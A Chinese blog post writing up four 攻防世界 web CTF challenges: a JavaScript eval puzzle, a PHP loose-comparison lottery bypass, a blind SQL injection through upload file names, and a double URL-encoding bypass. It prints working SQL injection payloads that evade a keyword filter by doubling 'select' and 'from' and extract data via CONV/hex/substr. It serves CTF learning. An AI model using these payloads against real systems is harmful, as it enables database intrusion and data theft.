web 攻防世界2

1.NaNNaNNaNNaN-Batman

打开题目提示下载一个附件,下载为一个文件,记事本打开

有地方乱码了,这里看到<script>标签,用浏览器打开看会不会弹出来

打开之后是一个输入框,输入什么都没用,再去看看文件

这里第一段是给 _ 赋了一个函数,_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){    [0]);.splice(0,1)}}}    \'
 最后发现了一个eval函数,它没执行$函数。这里用alert代替,弹出了源码

整理一下

function $(){
var e=document.getElementById("c").value;
if(e.length==16)
   if(e.match(/^be0f23/)!=null)
      if(e.match(/233ac/)!=null)
         if(e.match(/e98aa$/)!=null)
             if(e.match(/c7be9/)!=null){
             var t=["fl","s_a","i","e}"];
             var n=["a","_h0l","n"];
             var r=["g{","e","_0"];
             var i=["it'","_","n"];
             var s=[t,n,r,i];
             for(var o=0;o<13;++o){
             document.write(s[o%4][0]);s[o%4].splice(0,1)}
             }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
判断一下这里的正则,^为首,$为尾。

即为be0f233ac7be98aa,把alert改为eval,输入即得。

 

  2.攻防世界 lottery

题目打开先浏览了一下各个网页作用,发现

大概就是需要得到这么多钱来买flag,而方式是猜对彩票的数值。

下载下提供的源码后,发现robots.txt中

即提示git源码泄露,但这里题目给了源代码,审计过后发现判断函数在api.php中

发现flag条件

这里需要做手脚了让输入的数与随机数相等, 这里用==判断,即bool型,可以和任何数据弱类型相等,

抓包改包

把七位数都变为true,执行,发现钱数已经改变

不够就再来一次...

买到了flag

这种题真是好有意思,学到了。

3.攻防世界upload

注册先,邮箱啥的就1@.1这种就可以判断成功了,发现上传按钮

我试着传了一张照片上去,成功了,试试直接传个木马看看,不得行,抓包看看,题目好像被搞了....

路径也找不到,搞不动.....

这竟然是个注入题..大佬是说注入点在文件名上,意思这里文件名连接到数据库,

当输入文件名为注入语句时,发现并没有反应,且出现上传成功,
尝试多次发现过滤的时select和from,所以利用selselectect和frfromom进行绕过,

这里用到了CONV,substr,hex,
不转成数字,完全没有回显结果,所以用hex先将字符转换成16进制,然后用CONV函数将16进制转化为10进制,依次获取子串的12位,用substr截取12是因为一旦过长,会用科学计数法表示

数据库payload:1'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

得到后转成16进制,再hex

第二部分为

1'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

解码得到

即数据库为web_upload

接下来爆表,列

1’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),1,12),16,10))+’.jpg

这里从1变到37才完,发现表为

hello_flag_is_here

继续爆列

1’+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name=‘hello_flag_is_here’)),1,12),16,10))+’.jpg
1-13

发现为 i_am_flag

爆字段即可

1’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+’.jpg

1-25

!!_@m_Th.e_F!lag

直接提交即可,注意在构造sql语句中的双写。

4.攻防世界PHP2

这题刚进来就难住了...

各种尝试无果,看了wp发现源码在index.phps中。。。

读一下代码,第一步判断id===admin的话直接退出,判断成功则判断urldecode后的id和传入的id是否相同

这里考察了一个知识点,在你向浏览器后台传数据时,会将你提交除数字外的先进行一次urldecode,而这个函数又自己进行一次urldecode,

则这里需要传入admin编码后再次编码的值,只需编第一位即可

a -> %61-> %2561

传入%2561即可。

 

 

 

 

 

 

 

 

 

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全问题。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值